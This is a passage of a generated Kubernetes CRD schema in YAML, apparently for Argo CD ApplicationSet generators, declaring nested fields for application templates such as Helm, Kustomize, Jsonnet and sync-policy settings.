                                          - secretName
                                          type: object
                                        topic:
                                          type: string
                                      required:
                                      - group
                                      type: object
                                    requeueAfterSeconds:
                                      format: int64
                                      type: integer
                                    template:
                                      properties:
                                        metadata:
                                          properties:
                                            annotations:
                                              additionalProperties:
                                                type: string
                                              type: object
                                            finalizers:
                                              items:
                                                type: string
                                              type: array
                                            labels:
                                              additionalProperties:
                                                type: string
                                              type: object
                                            name:
                                              type: string
                                            namespace:
                                              type: string
                                          type: object
                                        spec:
                                          properties:
                                            destination:
                                              properties:
                                                name:
                                                  type: string
                                                namespace:
                                                  type: string
                                                server:
                                                  type: string
                                              type: object
                                            ignoreDifferences:
                                              items:
                                                properties:
                                                  group:
                                                    type: string
                                                  jqPathExpressions:
                                                    items:
                                                      type: string
                                                    type: array
                                                  jsonPointers:
                                                    items:
                                                      type: string
                                                    type: array
                                                  kind:
                                                    type: string
                                                  managedFieldsManagers:
                                                    items:
                                                      type: string
                                                    type: array
                                                  name:
                                                    type: string
                                                  namespace:
                                                    type: string
                                                required:
                                                - kind
                                                type: object
                                              type: array
                                            info:
                                              items:
                                                properties:
                                                  name:
                                                    type: string
                                                  value:
                                                    type: string
                                                required:
                                                - name
                                                - value
                                                type: object
                                              type: array
                                            project:
                                              type: string
                                            revisionHistoryLimit:
                                              format: int64
                                              type: integer
                                            source:
                                              properties:
                                                chart:
                                                  type: string
                                                directory:
                                                  properties:
                                                    exclude:
                                                      type: string
                                                    include:
                                                      type: string
                                                    jsonnet:
                                                      properties:
                                                        extVars:
                                                          items:
                                                            properties:
                                                              code:
                                                                type: boolean
                                                              name:
                                                                type: string
                                                              value:
                                                                type: string
                                                            required:
                                                            - name
                                                            - value
                                                            type: object
                                                          type: array
                                                        libs:
                                                          items:
                                                            type: string
                                                          type: array
                                                        tlas:
                                                          items:
                                                            properties:
                                                              code:
                                                                type: boolean
                                                              name:
                                                                type: string
                                                              value:
                                                                type: string
                                                            required:
                                                            - name
                                                            - value
                                                            type: object
                                                          type: array
                                                      type: object
                                                    recurse:
                                                      type: boolean
                                                  type: object
                                                helm:
                                                  properties:
                                                    apiVersions:
                                                      items:
                                                        type: string
                                                      type: array
                                                    fileParameters:
                                                      items:
                                                        properties:
                                                          name:
                                                            type: string
                                                          path:
                                                            type: string
                                                        type: object
                                                      type: array
                                                    ignoreMissingValueFiles:
                                                      type: boolean
                                                    kubeVersion:
                                                      type: string
                                                    namespace:
                                                      type: string
                                                    parameters:
                                                      items:
                                                        properties:
                                                          forceString:
                                                            type: boolean
                                                          name:
                                                            type: string
                                                          value:
                                                            type: string
                                                        type: object
                                                      type: array
                                                    passCredentials:
                                                      type: boolean
                                                    releaseName:
                                                      type: string
                                                    skipCrds:
                                                      type: boolean
                                                    skipSchemaValidation:
                                                      type: boolean
                                                    skipTests:
                                                      type: boolean
                                                    valueFiles:
                                                      items:
                                                        type: string
                                                      type: array
                                                    values:
                                                      type: string
                                                    valuesObject:
                                                      type: object
                                                      x-kubernetes-preserve-unknown-fields: true
                                                    version:
                                                      type: string
                                                  type: object
                                                kustomize:
                                                  properties:
                                                    apiVersions:
                                                      items:
                                                        type: string
                                                      type: array
                                                    commonAnnotations:
                                                      additionalProperties:
                                                        type: string
                                                      type: object
                                                    commonAnnotationsEnvsubst:
                                                      type: boolean
                                                    commonLabels:
                                                      additionalProperties:
                                                        type: string
                                                      type: object
                                                    components:
                                                      items:
                                                        type: string
                                                      type: array
                                                    forceCommonAnnotations:
                                                      type: boolean
                                                    forceCommonLabels:
                                                      type: boolean
                                                    ignoreMissingComponents:
                                                      type: boolean
                                                    images:
                                                      items:
                                                        type: string
                                                      type: array
                                                    kubeVersion:
                                                      type: string
                                                    labelIncludeTemplates:
                                                      type: boolean
                                                    labelWithoutSelector:
                                                      type: boolean
                                                    namePrefix:
                                                      type: string
                                                    nameSuffix:
                                                      type: string
                                                    namespace:
                                                      type: string
                                                    patches:
                                                      items:
                                                        properties:
                                                          options:
                                                            additionalProperties:
                                                              type: boolean
                                                            type: object
                                                          patch:
                                                            type: string
                                                          path:
                                                            type: string
                                                          target:
                                                            properties:
                                                              annotationSelector:
                                                                type: string
                                                              group:
                                                                type: string
                                                              kind:
                                                                type: string
                                                              labelSelector:
                                                                type: string
                                                              name:
                                                                type: string
                                                              namespace:
                                                                type: string
                                                              version:
                                                                type: string
                                                            type: object
                                                        type: object
                                                      type: array
                                                    replicas:
                                                      items:
                                                        properties:
                                                          count:
                                                            anyOf:
                                                            - type: integer
                                                            - type: string
                                                            x-kubernetes-int-or-string: true
                                                          name:
                                                            type: string
                                                        required:
                                                        - count
                                                        - name
                                                        type: object
                                                      type: array
                                                    version:
                                                      type: string
                                                  type: object
                                                name:
                                                  type: string
                                                path:
                                                  type: string
                                                plugin:
                                                  properties:
                                                    env:
                                                      items:
                                                        properties:
                                                          name:
                                                            type: string
                                                          value:
                                                            type: string
                                                        required:
                                                        - name
                                                        - value
                                                        type: object
                                                      type: array
                                                    name:
                                                      type: string
                                                    parameters:
                                                      items:
                                                        properties:
                                                          array:
                                                            items:
                                                              type: string
                                                            type: array
                                                          map:
                                                            additionalProperties:
                                                              type: string
                                                            type: object
                                                          name:
                                                            type: string
                                                          string:
                                                            type: string
                                                        type: object
                                                      type: array
                                                  type: object
                                                ref:
                                                  type: string
                                                repoURL:
                                                  type: string
                                                targetRevision:
                                                  type: string
                                              required:
                                              - repoURL
                                              type: object
                                            sourceHydrator:
                                              properties:
                                                drySource:
                                                  properties:
                                                    path:
                                                      type: string
                                                    repoURL:
                                                      type: string
                                                    targetRevision:
                                                      type: string
                                                  required:
                                                  - path
                                                  - repoURL
                                                  - targetRevision
                                                  type: object
                                                hydrateTo:
                                                  properties:
                                                    targetBranch:
                                                      type: string
                                                  required:
                                                  - targetBranch
                                                  type: object
                                                syncSource:
                                                  properties:
                                                    path:
                                                      type: string
                                                    targetBranch:
                                                      type: string
                                                  required:
                                                  - path
                                                  - targetBranch
                                                  type: object
                                              required:
                                              - drySource
                                              - syncSource
                                              type: object
                                            sources:
                                              items:
                                                properties:
                                                  chart:
                                                    type: string
                                                  directory:
                                                    properties:
                                                      exclude:
                                                        type: string
                                                      include:
                                                        type: string
                                                      jsonnet:
                                                        properties:
                                                          extVars:
                                                            items:
                                                              properties:
                                                                code:
                                                                  type: boolean
                                                                name:
                                                                  type: string
                                                                value:
                                                                  type: string
                                                              required:
                                                              - name
                                                              - value
                                                              type: object
                                                            type: array
                                                          libs:
                                                            items:
                                                              type: string
                                                            type: array
                                                          tlas:
                                                            items:
                                                              properties:
                                                                code:
                                                                  type: boolean
                                                                name:
                                                                  type: string
                                                                value:
                                                                  type: string
                                                              required:
                                                              - name
                                                              - value
                                                              type: object
                                                            type: array
                                                        type: object
                                                      recurse:
                                                        type: boolean
                                                    type: object
                                                  helm:
                                                    properties:
                                                      apiVersions:
                                                        items:
                                                          type: string
                                                        type: array
                                                      fileParameters:
                                                        items:
                                                          properties:
                                                            name:
                                                              type: string
                                                            path:
                                                              type: string
                                                          type: object
                                                        type: array
                                                      ignoreMissingValueFiles:
                                                        type: boolean
                                                      kubeVersion:
                                                        type: string
                                                      namespace:
                                                        type: string
                                                      parameters:
                                                        items:
                                                          properties:
                                                            forceString:
                                                              type: boolean
                                                            name:
                                                              type: string
                                                            value:
                                                              type: string
                                                          type: object
                                                        type: array
                                                      passCredentials:
                                                        type: boolean
                                                      releaseName:
                                                        type: string
                                                      skipCrds:
                                                        type: boolean
                                                      skipSchemaValidation:
                                                        type: boolean
                                                      skipTests:
                                                        type: boolean
                                                      valueFiles:
                                                        items:
                                                          type: string
                                                        type: array
                                                      values:
                                                        type: string
                                                      valuesObject:
                                                        type: object
                                                        x-kubernetes-preserve-unknown-fields: true
                                                      version:
                                                        type: string
                                                    type: object
                                                  kustomize:
                                                    properties:
                                                      apiVersions:
                                                        items:
                                                          type: string
                                                        type: array
                                                      commonAnnotations:
                                                        additionalProperties:
                                                          type: string
                                                        type: object
                                                      commonAnnotationsEnvsubst:
                                                        type: boolean
                                                      commonLabels:
                                                        additionalProperties:
                                                          type: string
                                                        type: object
                                                      components:
                                                        items:
                                                          type: string
                                                        type: array
                                                      forceCommonAnnotations:
                                                        type: boolean
                                                      forceCommonLabels:
                                                        type: boolean
                                                      ignoreMissingComponents:
                                                        type: boolean
                                                      images:
                                                        items:
                                                          type: string
                                                        type: array
                                                      kubeVersion:
                                                        type: string
                                                      labelIncludeTemplates:
                                                        type: boolean
                                                      labelWithoutSelector:
                                                        type: boolean
                                                      namePrefix:
                                                        type: string
                                                      nameSuffix:
                                                        type: string
                                                      namespace:
                                                        type: string
                                                      patches:
                                                        items:
                                                          properties:
                                                            options:
                                                              additionalProperties:
                                                                type: boolean
                                                              type: object
                                                            patch:
                                                              type: string
                                                            path:
                                                              type: string
                                                            target:
                                                              properties:
                                                                annotationSelector:
                                                                  type: string
                                                                group:
                                                                  type: string
                                                                kind:
                                                                  type: string
                                                                labelSelector:
                                                                  type: string
                                                                name:
                                                                  type: string
                                                                namespace:
                                                                  type: string
                                                                version:
                                                                  type: string
                                                              type: object
                                                          type: object
                                                        type: array
                                                      replicas:
                                                        items:
                                                          properties:
                                                            count:
                                                              anyOf:
                                                              - type: integer
                                                              - type: string
                                                              x-kubernetes-int-or-string: true
                                                            name:
                                                              type: string
                                                          required:
                                                          - count
                                                          - name
                                                          type: object
                                                        type: array
                                                      version:
                                                        type: string
                                                    type: object
                                                  name:
                                                    type: string
                                                  path:
                                                    type: string
                                                  plugin:
                                                    properties:
                                                      env:
                                                        items:
                                                          properties:
                                                            name:
                                                              type: string
                                                            value:
                                                              type: string
                                                          required:
                                                          - name
                                                          - value
                                                          type: object
                                                        type: array
                                                      name:
                                                        type: string
                                                      parameters:
                                                        items:
                                                          properties:
                                                            array:
                                                              items:
                                                                type: string
                                                              type: array
                                                            map:
                                                              additionalProperties:
                                                                type: string
                                                              type: object
                                                            name:
                                                              type: string
                                                            string:
                                                              type: string
                                                          type: object
                                                        type: array
                                                    type: object
                                                  ref:
                                                    type: string
                                                  repoURL:
                                                    type: string
                                                  targetRevision:
                                                    type: string
                                                required:
                                                - repoURL
                                                type: object
                                              type: array
                                            syncPolicy:
                                              properties:
                                                automated:
                                                  properties:
                                                    allowEmpty:
                                                      type: boolean
                                                    enabled:
                                                      type: boolean
                                                    prune:
                                                      type: boolean
                                                    selfHeal:
                                                      type: boolean
                                                  type: object
                                                managedNamespaceMetadata:
                                                  properties:
                                                    annotations:
                                                      additionalProperties:
                                                        type: string
                                                      type: object
                                                    labels:
                                                      additionalProperties:
                                                        type: string
                                                      type: object
                                                  type: object
                                                retry:
                                                  properties:
                                                    backoff:
                                                      properties:
                                                        duration:
                                                          type: string
                                                        factor:
                                                          format: int64
                                                          type: integer
                                                        maxDuration:
                                                          type: string
                                                      type: object
                                                    limit:
                                                      format: int64
                                                      type: integer
                                                  type: object
                                                syncOptions:
                                                  items:
                                                    type: string
                                                  type: array
                                              type: object
                                          required:
                                          - destination
                                          - project
                                          type: object
                                      required:
                                      - metadata
                                      - spec
                                      type: object
                                    values:
                                      additionalProperties:
                                        type: string
                                      type: object
                                  type: object
                                selector:
                                  properties:
                                    matchExpressions:
                                      items:
                                        properties:
                                          key:
                                            type: string
                                          operator:
                                            type: string
                                          values:
                                            items:
                                              type: string
                                            type: array
                                            x-kubernetes-list-type: atomic
                                        required:
                                        - key
                                        - operator
                                        type: object
                                      type: array
                                      x-kubernetes-list-type: atomic
                                    matchLabels:
                                      additionalProperties:
                                        type: string
                                      type: object
                                  type: object
                                  x-kubernetes-map-type: atomic
                              type: object
                            type: array
                          mergeKeys:
                            items:
                              type: string
                            type: array
                          template:
                            properties:
                              metadata:
                                properties:
                                  annotations:
                                    additionalProperties:
                                      type: string
                                    type: object
                                  finalizers:
                                    items:
                                      type: string
                                    type: array
                                  labels:
                                    additionalProperties:
                                      type: string
                                    type: object
                                  name:
                                    type: string
                                  namespace:
                                    type: string
                                type: object
                              spec:
                                properties:
                                  destination:
                                    properties:
                                      name:
                                        type: string
                                      namespace:
                                        type: string
                                      server:
                                        type: string
                                    type: object
                                  ignoreDifferences:
                                    items:
                                      properties:
                                        group:
                                          type: string
                                        jqPathExpressions:
                                          items:
                                            type: string
                                          type: array
                                        jsonPointers:
                                          items:
                                            type: string
                                          type: array
                                        kind:
                                          type: string
                                        managedFieldsManagers:
                                          items:
                                            type: string
                                          type: array
                                        name:
                                          type: string
                                        namespace:
                                          type: string
                                      required:
                                      - kind
                                      type: object
                                    type: array
                                  info:
                                    items:
                                      properties:
                                        name:
                                          type: string
                                        value:
                                          type: string
                                      required:
                                      - name
                                      - value
                                      type: object
                                    type: array
                                  project:
                                    type: string
                                  revisionHistoryLimit:
                                    format: int64
                                    type: integer
                                  source:
                                    properties:
                                      chart:
                                        type: string
                                      directory:
                                        properties:
                                          exclude:
                                            type: string
                                          include:
                                            type: string
                                          jsonnet:
                                            properties:
                                              extVars:
                                                items:
                                                  properties:
                                                    code:
                                                      type: boolean
                                                    name:
                                                      type: string
                                                    value:
                                                      type: string
                                                  required:
                                                  - name
                                                  - value
                                                  type: object
                                                type: array
                                              libs:
                                                items:
                                                  type: string
                                                type: array
                                              tlas:
                                                items:
                                                  properties:
                                                    code:
                                                      type: boolean
                                                    name:
                                                      type: string
                                                    value:
                                                      type: string
                                                  required:
                                                  - name
                                                  - value
                                                  type: object
                                                type: array
                                            type: object
                                          recurse:
                                            type: boolean
                                        type: object
                                      helm:
                                        properties:
                                          apiVersions:
                                            items:
                                              type: string
                                            type: array
                                          fileParameters:
                                            items:
                                              properties:
                                                name:
                                                  type: string
                                                path:
                                                  type: string
                                              type: object
                                            type: array
                                          ignoreMissingValueFiles:
                                            type: boolean
                                          kubeVersion:
                                            type: string
                                          namespace:
                                            type: string
                                          parameters:
                                            items:
                                              properties:
                                                forceString:
                                                  type: boolean
                                                name:
                                                  type: string
                                                value:
                                                  type: string
                                              type: object
                                            type: array
                                          passCredentials:
                                            type: boolean
                                          releaseName:
                                            type: string
                                          skipCrds:
                                            type: boolean
                                          skipSchemaValidation:
                                            type: boolean
                                          skipTests:
                                            type: boolean
                                          valueFiles:
                                            items:
                                              type: string
                                            type: array
                                          values:
                                            type: string
                                          valuesObject:
                                            type: object
                                            x-kubernetes-preserve-unknown-fields: true
                                          version:
                                            type: string
                                        type: object
                                      kustomize:
                                        properties:
                                          apiVersions:
                                            items:
                                              type: string
                                            type: array
                                          commonAnnotations:
                                            additionalProperties:
                                              type: string
                                            type: object
                                          commonAnnotationsEnvsubst:
                                            type: boolean
                                          commonLabels:
                                            additionalProperties:
                                              type: string
                                            type: object
                                          components:
                                            items:
                                              type: string
                                            type: array
                                          forceCommonAnnotations:
                                            type: boolean
                                          forceCommonLabels:
                                            type: boolean
                                          ignoreMissingComponents:
                                            type: boolean
                                          images:
                                            items:
                                              type: string
                                            type: array
                                          kubeVersion:
                                            type: string
                                          labelIncludeTemplates:
                                            type: boolean
                                          labelWithoutSelector:
                                            type: boolean
                                          namePrefix:
                                            type: string
                                          nameSuffix:
                                            type: string
                                          namespace:
                                            type: string
                                          patches:
                                            items:
                                              properties:
                                                options:
                                                  additionalProperties:
                                                    type: boolean
                                                  type: object
                                                patch:
                                                  type: string
                                                path:
                                                  type: string
                                                target:
                                                  properties:
                                                    annotationSelector:
                                                      type: string
                                                    group:
                                                      type: string
                                                    kind:
                                                      type: string
                                                    labelSelector:
                                                      type: string
                                                    name:
                                                      type: string
                                                    namespace:
                                                      type: string
                                                    version:
                                                      type: string
                                                  type: object
                                              type: object
                                            type: array
                                          replicas:
                                            items:
                                              properties:
                                                count:
                                                  anyOf:
                                                  - type: integer
                                                  - type: string
                                                  x-kubernetes-int-or-string: true
                                                name:
                                                  type: string
                                              required:
                                              - count
                                              - name
                                              type: object
                                            type: array
                                          version:
                                            type: string
                                        type: object
                                      name:
                                        type: string
                                      path:
                                        type: string
                                      plugin:
                                        properties:
                                          env:
                                            items:
                                              properties:
                                                name:
                                                  type: string
                                                value:
                                                  type: string
                                              required:
                                              - name
                                              - value
                                              type: object
                                            type: array
                                          name:
                                            type: string
                                          parameters:
                                            items:
                                              properties:
                                                array:
                                                  items:
                                                    type: string
                                                  type: array
                                                map:
                                                  additionalProperties:
                                                    type: string
                                                  type: object
                                                name:
                                                  type: string
                                                string:
                                                  type: string
                                              type: object
                                            type: array
                                        type: object
                                      ref:
                                        type: string
                                      repoURL:
                                        type: string
                                      targetRevision:
                                        type: string
                                    required:
                                    - repoURL
                                    type: object
                                  sourceHydrator:
                                    properties:
                                      drySource:
                                        properties:
                                          path:
                                            type: string
                                          repoURL:
                                            type: string
                                          targetRevision:
                                            type: string
                                        required:
                                        - path
                                        - repoURL
                                        - targetRevision
                                        type: object
                                      hydrateTo:
                                        properties:
                                          targetBranch:
                                            type: string
                                        required:
                                        - targetBranch
                                        type: object
                                      syncSource:
                                        properties:
                                          path:
                                            type: string
                                          targetBranch:
                                            type: string
                                        required:
                                        - path
                                        - targetBranch
                                        type: object
                                    required:
                                    - drySource
                                    - syncSource
                                    type: object
                                  sources:
                                    items:
                                      properties:
                                        chart:
                                          type: string
                                        directory:
                                          properties:
                                            exclude:
                                              type: string
                                            include:
                                              type: string
                                            jsonnet:
                                              properties:
                                                extVars:
                                                  items:
                                                    properties:
                                                      code:
                                                        type: boolean
                                                      name:
                                                        type: string
                                                      value:
                                                        type: string
                                                    required:
                                                    - name
                                                    - value
                                                    type: object
                                                  type: array
                                                libs:
                                                  items:
                                                    type: string
                                                  type: array
                                                tlas:
                                                  items:
                                                    properties:
                                                      code:
                                                        type: boolean
                                                      name:
                                                        type: string
                                                      value:
                                                        type: string
                                                    required:
                                                    - name
                                                    - value
                                                    type: object
                                                  type: array
                                              type: object
                                            recurse:
                                              type: boolean
                                          type: object
                                        helm:
                                          properties:
                                            apiVersions:
                                              items:
                                                type: string
                                              type: array
                                            fileParameters:
                                              items:
                                                properties:
                                                  name:
                                                    type: string
                                                  path:
                                                    type: string
                                                type: object
                                              type: array
                                            ignoreMissingValueFiles:
                                              type: boolean
                                            kubeVersion:
                                              type: string
                                            namespace:
                                              type: string
                                            parameters:
                                              items:
                                                properties:
                                                  forceString:
                                                    type: boolean
                                                  name:
                                                    type: string
                                                  value:
                                                    type: string
                                                type: object
                                              type: array
                                            passCredentials:
                                              type: boolean
                                            releaseName:
                                              type: string
                                            skipCrds:
                                              type: boolean
                                            skipSchemaValidation:
                                              type: boolean
                                            skipTests:
                                              type: boolean
                                            valueFiles:
                                              items:
                                                type: string
                                              type: array
                                            values:
                                              type: string
                                            valuesObject:
                                              type: object
                                              x-kubernetes-preserve-unknown-fields: true
                                            version:
                                              type: string
                                          type: object
                                        kustomize:
                                          properties:
                                            apiVersions:
                                              items:
                                                type: string
                                              type: array
                                            commonAnnotations:
                                              additionalProperties:
                                                type: string
                                              type: object
                                            commonAnnotationsEnvsubst:
                                              type: boolean
                                            commonLabels:
                                              additionalProperties:
                                                type: string
                                              type: object
                                            components:
                                              items:
                                                type: string
                                              type: array
                                            forceCommonAnnotations:
                                              type: boolean
                                            forceCommonLabels:
                                              type: boolean
                                            ignoreMissingComponents:
                                              type: boolean
                                            images:
                                              items:
                                                type: string
                                              type: array
                                            kubeVersion:
                                              type: string
                                            labelIncludeTemplates:
                                              type: boolean
                                            labelWithoutSelector:
                                              type: boolean
                                            namePrefix:
                                              type: string
                                            nameSuffix:
                                              type: string
                                            namespace:
                                              type: string
                                            patches:
                                              items:
                                                properties:
                                                  options:
                                                    additionalProperties:
                                                      type: boolean
                                                    type: object
                                                  patch:
                                                    type: string
                                                  path:
                                                    type: string
                                                  target:
                                                    properties:
                                                      annotationSelector:
                                                        type: string
                                                      group:
                                                        type: string
                                                      kind:
                                                        type: string
                                                      labelSelector:
                                                        type: string
                                                      name:
                                                        type: string
                                                      namespace:
                                                        type: string
                                                      version:
                                                        type: string
                                                    type: object
                                                type: object
                                              type: array
                                            replicas:
                                              items:
                                                properties:
                                                  count:
                                                    anyOf:
                                                    - type: integer
                                                    - type: string
                                                    x-kubernetes-int-or-string: true
                                                  name:
                                                    type: string
                                                required:
                                                - count
                                                - name
                                                type: object
                                              type: array
                                            version:
                                              type: string
                                          type: object
                                        name:
                                          type: string
                                        path:
                                          type: string
                                        plugin:
                                          properties:
                                            env:
                                              items:
                                                properties:
                                                  name:
                                                    type: string
                                                  value:
                                                    type: string
                                                required:
                                                - name
                                                - value
                                                type: object
                                              type: array
                                            name:
                                              type: string
                                            parameters:
                                              items:
                                                properties:
                                                  array:
                                                    items:
                                                      type: string
                                                    type: array
                                                  map:
                                                    additionalProperties:
                                                      type: string
                                                    type: object
                                                  name:
                                                    type: string
                                                  string:
                                                    type: string
                                                type: object
                                              type: array
                                          type: object
                                        ref:
                                          type: string
                                        repoURL:
                                          type: string
                                        targetRevision:
                                          type: string
                                      required:
                                      - repoURL
                                      type: object
                                    type: array
                                  syncPolicy:
                                    properties:
                                      automated:
                                        properties:
                                          allowEmpty:
                                            type: boolean
                                          enabled:
                                            type: boolean
                                          prune:
                                            type: boolean
                                          selfHeal:
                                            type: boolean
                                        type: object
                                      managedNamespaceMetadata:
                                        properties:
                                          annotations:
                                            additionalProperties:
                                              type: string
                                            type: object
                                          labels:
                                            additionalProperties:
                                              type: string
                                            type: object
                                        type: object
                                      retry:
                                        properties:
                                          backoff:
                                            properties:
                                              duration:
                                                type: string
                                              factor:
                                                format: int64
                                                type: integer
                                              maxDuration:
                                                type: string
                                            type: object
                                          limit:
                                            format: int64
                                            type: integer
                                        type: object
                                      syncOptions:
                                        items:
                                          type: string
                                        type: array
                                    type: object
                                required:
                                - destination
                                - project
                                type: object
                            required:
                            - metadata
                            - spec
                            type: object
                        required:
                        - generators
                        - mergeKeys
                        type: object
                      plugin:
                        properties:
                          configMapRef:
                            properties:
                              name:
                                type: string
                            required:
                            - name
                            type: object
                          input:
                            properties:
                              parameters:
                                additionalProperties:
                                  x-kubernetes-preserve-unknown-fields: true
                                type: object
                            type: object
                          requeueAfterSeconds:
                            format: int64
                            type: integer
                          template:
                            properties:
                              metadata:
                                properties:
                                  annotations:
                                    additionalProperties:
                                      type: string
                                    type: object
                                  finalizers:
                                    items:
                                      type: string
                                    type: array
                                  labels:
                                    additionalProperties:
                                      type: string
                                    type: object
                                  name:
                                    type: string
                                  namespace:
                                    type: string
                                type: object
                              spec:
                                properties:
                                  destination:
                                    properties:
                                      name:
                                        type: string
                                      namespace:
                                        type: string
                                      server:
                                        type: string
                                    type: object
                                  ignoreDifferences:
                                    items:
                                      properties:
                                        group:
                                          type: string
                                        jqPathExpressions:
                                          items:
                                            type: string
                                          type: array
                                        jsonPointers:
                                          items:
                                            type: string
                                          type: array
                                        kind:
                                          type: string
                                        managedFieldsManagers:
                                          items:
                                            type: string
                                          type: array
                                        name:
                                          type: string
                                        namespace:
                                          type: string
                                      required:
                                      - kind
                                      type: object
                                    type: array
                                  info:
                                    items:
                                      properties:
                                        name:
                                          type: string
                                        value:
                                          type: string
                                      required:
                                      - name
                                      - value
                                      type: object
                                    type: array
                                  project:
                                    type: string
                                  revisionHistoryLimit:
                                    format: int64
                                    type: integer
                                  source:
                                    properties:
                                      chart:
                                        type: string
                                      directory:
                                        properties:
                                          exclude:
                                            type: string
                                          include:
                                            type: string
                                          jsonnet:
                                            properties:
                                              extVars:
                                                items:
                                                  properties:
                                                    code:
                                                      type: boolean
                                                    name:
                                                      type: string
                                                    value:
                                                      type: string
                                                  required:
                                                  - name
                                                  - value
                                                  type: object
                                                type: array
                                              libs:
                                                items:
                                                  type: string
                                                type: array
                                              tlas:
                                                items:
                                                  properties:
                                                    code:
                                                      type: boolean
                                                    name:
                                                      type: string
                                                    value:
                                                      type: string
                                                  required:
                                                  - name
                                                  - value
                                                  type: object
                                                type: array
                                            type: object
                                          recurse:
                                            type: boolean
                                        type: object
                                      helm:
                                        properties:
                                          apiVersions:
                                            items:
                                              type: string
                                            type: array
                                          fileParameters:
                                            items:
                                              properties:
                                                name:
                                                  type: string
                                                path:
                                                  type: string
                                              type: object
                                            type: array
                                          ignoreMissingValueFiles:
                                            type: boolean
                                          kubeVersion:
                                            type: string
                                          namespace:
                                            type: string
                                          parameters:
                                            items:
                                              properties:
                                                forceString:
                                                  type: boolean
                                                name:
                                                  type: string
                                                value:
                                                  type: string
                                              type: object
                                            type: array
                                          passCredentials:
                                            type: boolean
                                          releaseName:
                                            type: string
                                          skipCrds:
                                            type: boolean
                                          skipSchemaValidation:
                                            type: boolean
                                          skipTests:
                                            type: boolean
                                          valueFiles:
                                            items:
                                              type: string
                                            type: array
                                          values:
                                            type: string
                                          valuesObject:
                                            type: object
                                            x-kubernetes-preserve-unknown-fields: true
                                          version:
                                            type: string
                                        type: object
                                      kustomize:
                                        properties:
                                          apiVersions:
                                            items:
                                              type: string
                                            type: array
                                          commonAnnotations:
                                            additionalProperties:
                                              type: string
                                            type: object
                                          commonAnnotationsEnvsubst:
                                            type: boolean
                                          commonLabels:
                                            additionalProperties:
                                              type: string
                                            type: object
                                          components:
                                            items:
                                              type: string
                                            type: array
                                          forceCommonAnnotations:
                                            type: boolean
                                          forceCommonLabels:
                                            type: boolean
                                          ignoreMissingComponents:
                                            type: boolean
                                          images:
                                            items:
                                              type: string
                                            type: array
                                          kubeVersion:
                                            type: string
                                          labelIncludeTemplates:
                                            type: boolean
                                          labelWithoutSelector:
                                            type: boolean
                                          namePrefix:
                                            type: string
                                          nameSuffix:
                                            type: string
                                          namespace:
                                            type: string
                                          patches:
                                            items:
                                              properties:
                                                options:
                                                  additionalProperties:
                                                    type: boolean
                                                  type: object
                                                patch:
                                                  type: string
                                                path:
                                                  type: string
                                                target:
                                                  properties:
                                                    annotationSelector:
                                                      type: string
                                                    group:
                                                      type: string
                                                    kind:
                                                      type: string
                                                    labelSelector:
                                                      type: string
                                                    name:
                                                      type: string
                                                    namespace:
                                                      type: string
                                                    version:
                                                      type: string
                                                  type: object
                                              type: object
                                            type: array
                                          replicas:
                                            items:
                                              properties:
                                                count:
                                                  anyOf:
                                                  - type: integer
                                                  - type: string
                                                  x-kubernetes-int-or-string: true
                                                name:
                                                  type: string
                                              required:
                                              - count
                                              - name
                                              type: object
                                            type: array
                                          version:
                                            type: string
                                        type: object
                                      name:
                                        type: string
                                      path:
                                        type: string
                                      plugin:
                                        properties:
                                          env:
                                            items:
                                              properties:
                                                name:
                                                  type: string
                                                value:
                                                  type: string
                                              required:
                                              - name
                                              - value
                                              type: object
                                            type: array
                                          name:
                                            type: string
                                          parameters:
                                            items:
                                              properties:
                                                array:
                                                  items:
                                                    type: string
                                                  type: array
                                                map:
                                                  additionalProperties:
                                                    type: string
                                                  type: object
                                                name:
                                                  type: string
                                                string:
                                                  type: string
                                              type: object
                                            type: array
                                        type: object
                                      ref:
                                        type: string
                                      repoURL:
                                        type: string
                                      targetRevision:
                                        type: string
                                    required:
                                    - repoURL
                                    type: object
                                  sourceHydrator:
                                    properties:
                                      drySource:
                                        properties:
                                          path:
                                            type: string
                                          repoURL:
                                            type: string
                                          targetRevision:
                                            type: string
                                        required:
                                        - path
                                        - repoURL
                                        - targetRevision
                                        type: object
                                      hydrateTo:
                                        properties:
                                          targetBranch:
                                            type: string
                                        required:
                                        - targetBranch
                                        type: object
                                      syncSource:
                                        properties:
                                          path:
                                            type: string
                                          targetBranch:
                                            type: string
                                        required:
                                        - path
                                        - targetBranch
                                        type: object
                                    required:
                                    - drySource
                                    - syncSource
                                    type: object
                                  sources:
                                    items:
                                      properties:
                                        chart:
                                          type: string
                                        directory:
                                          properties:
                                            exclude:
                                              type: string
                                            include:
                                              type: string
                                            jsonnet:
                                              properties:
                                                extVars:
                                                  items:
                                                    properties:
                                                      code:
                                                        type: boolean
                                                      name:
                                                        type: string
                                                      value:
                                                        type: string
                                                    required:
                                                    - name
                                                    - value
                                                    type: object
                                                  type: array
                                                libs:
                                                  items:
                                                    type: string
                                                  type: array
                                                tlas:
                                                  items:
                                                    properties:
                                                      code:
                                                        type: boolean
                                                      name:
                                                        type: string
                                                      value:
                                                        type: string
                                                    required:
                                                    - name
                                                    - value
                                                    type: object
                                                  type: array
                                              type: object
                                            recurse:
                                              type: boolean
                                          type: object
                                        helm:
                                          properties:
                                            apiVersions:
                                              items:
                                                type: string
                                              type: array
                                            fileParameters:
                                              items:
                                                properties:
                                                  name:
                                                    type: string
                                                  path:
                                                    type: string
                                                type: object
                                              type: array
                                            ignoreMissingValueFiles:
                                              type: boolean
                                            kubeVersion:
                                              type: string
                                            namespace:
                                              type: string
                                            parameters:
                                              items:
                                                properties:
                                                  forceString:
                                                    type: boolean
                                                  name:
                                                    type: string
                                                  value:
                                                    type: string
                                                type: object
                                              type: array
                                            passCredentials:
                                              type: boolean
                                            releaseName:
                                              type: string
                                            skipCrds:
                                              type: boolean
                                            skipSchemaValidation:
                                              type: boolean
                                            skipTests:
                                              type: boolean
                                            valueFiles:
                                              items:
                                                type: string
                                              type: array
                                            values:
                                              type: string
                                            valuesObject:
                                              type: object
                                              x-kubernetes-preserve-unknown-fields: true
                                            version:
                                              type: string
                                          type: object
                                        kustomize:
                                          properties:
                                            apiVersions:
                                              items:
                                                type: string
                                              type: array
                                            commonAnnotations:
                                              additionalProperties:
                                                type: string
                                              type: object
                                            commonAnnotationsEnvsubst:
                                              type: boolean
                                            commonLabels:
                                              additionalProperties:
                                                type: string
                                              type: object
                                            components:
                                              items:
                                                type: string
                                              type: array
                                            forceCommonAnnotations:
                                              type: boolean
                                            forceCommonLabels:
                                              type: boolean
                                            ignoreMissingComponents:
                                              type: boolean
                                            images:
                                              items:
                                                type: string
                                              type: array
                                            kubeVersion:
                                              type: string
                                            labelIncludeTemplates:
